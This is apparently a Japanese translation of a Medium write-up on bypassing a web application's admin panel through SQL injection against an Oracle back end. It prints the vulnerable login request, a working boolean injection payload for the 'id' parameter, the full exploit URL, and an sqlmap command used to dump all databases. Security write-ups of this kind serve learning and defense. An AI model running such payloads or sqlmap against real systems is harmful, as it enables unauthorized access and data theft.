Blog Post: Bypassing an Admin Panel with SQL Injection から学ぶ

ソース:

medium.com

脆弱性SQLインジェクションOracle

 

訳:

 今日は、Web アプリケーションに管理パネルのバイパスを可能にする脆弱性を発見したという最近の発見を共有したいと思います。
SQL インジェクションとして知られるこの脆弱性がどのように機能するのか、そして私が不正アクセスを得るためにそれをどのように利用したかについて説明します。

 

私が訪れたとき https://redacted.com/redacted/redacted_admin.xml, ログインプロンプトが表示されていることに気づきました。
資格情報を入力して「ログイン」をクリックすると、アプリケーションは次の方法で資格情報を含む GET リクエストを送信します。 

 

GET /redacted/redacted_admin.xml?id=admin&pswd=admin&uniqueId=0.5331820440279285 HTTP/1.1 2

 

基本を試した後、 admin:admin運が悪かったので、ページ上の JS を読んで、SQL インジェクションを試してみることにしました。
さまざまなペイロードをテストした結果、実際に機能するペイロードにたどり着きました。 idペイロードを使用するパラメータ: 

 

-6513%27%20OR%20%28SELECT%20INSTR2%28NULL%2CNULL%29%20FROM%20DUAL%29%20IS%20NULL--%20SpSw

-6513' OR (SELECT INSTR2(NULL,NULL) FROM DUAL) IS NULL-- SpSw

 

リクエストの全文は次のとおりです。

 

https://redacted.com/redacted/redacted_admin.xml?id=-6513%27%20OR%20%28SELECT%20INSTR2%28NULL%2CNULL%29%20FROM%20DUAL%29%20IS%20NULL--%20SpSw&pswd=admin&uniqueId=0.5331820440279285

 

このリンクにアクセスすると、管理パネルにアクセスできました。

 

 

sqlmap を使用した追加の悪用

私も走った sqlmapステップ 1 の生のリクエストで、すべてのデータベースを取得するのに役立ちました。
この強力なツールは、データベースの構造とその内容についての貴重な洞察を提供します。 私が使用したコマンド:

 

sqlmap -r request.txt --random-agent --dbs --proxy=http://127.0.0.1:8080 --force-ssl --batch --risk 3 --level 3

 

予想どおり、データベースが返されました。

 

 

ほなほな。